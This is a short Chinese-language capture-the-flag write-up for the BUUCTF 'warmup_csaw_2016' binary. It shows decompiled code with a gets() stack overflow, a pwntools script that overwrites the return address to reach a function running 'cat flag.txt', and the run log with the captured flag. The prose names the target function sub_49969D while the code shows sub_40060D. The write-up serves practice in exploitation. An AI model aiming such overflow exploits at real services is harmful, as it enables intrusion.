

warmup_csaw_2016 buuctf

v5处存在栈溢出，sprintf输出sub_49969D()函数地址

```
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     char s; // [rsp+0h] [rbp-80h]
4     char v5; // [rsp+40h] [rbp-40h]
5
6     write(1, "-Warm Up-\n", 0xAuLL);
7     write(1, "WOW:", 4uLL);
8     sprintf(&s, "%p\n", sub_40060D);
9     write(1, &s, 9uLL);
10    write(1, ">", 1uLL);
11    return gets((__int64)&v5, (__int64)">");
12 }
```

同时sub_49969D()函数会输出flag

```
1 int sub_40060D()
2 {
3     return system("cat flag.txt");
4 }
```

构造栈溢出，返回到sub_49969D()函数即可

Python

```
1 from pwn import *
2 p = remote('node3.buuoj.cn',27268)
3 #p = process('./pwn')
4 context.log_level='debug'
5 p.recvuntil('0x')
6 sys_addr = int(p.recv(6),16)
7 print hex(sys_addr)
8 payload = 'A'*0x40 + 'A'*0x08 + p64(sys_addr)
9 p.sendlineafter('>',payload)
10 p.interactive()
```

```
root@ubuntu:/home/ams/ws/p3# root@ubuntu:/home/ams/ws/p3# python exp.py
[+] Opening connection to node3.buuoj.cn on port 27268: Done
[DEBUG] Received 0x18 bytes:
'-Warm Up-\n'
'WOW:0x40060d\n'
'>'
0x40060d
[DEBUG] Sent 0x51 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
*
00000040 41 41 41 41 41 41 41 41 0d 06 40 00 00 00 00 00 |AAAA|AAAA|..@.|....|
00000050 0a
00000051
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
'flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}\n'
flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}
[DEBUG] Received 0x2b bytes:
'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
```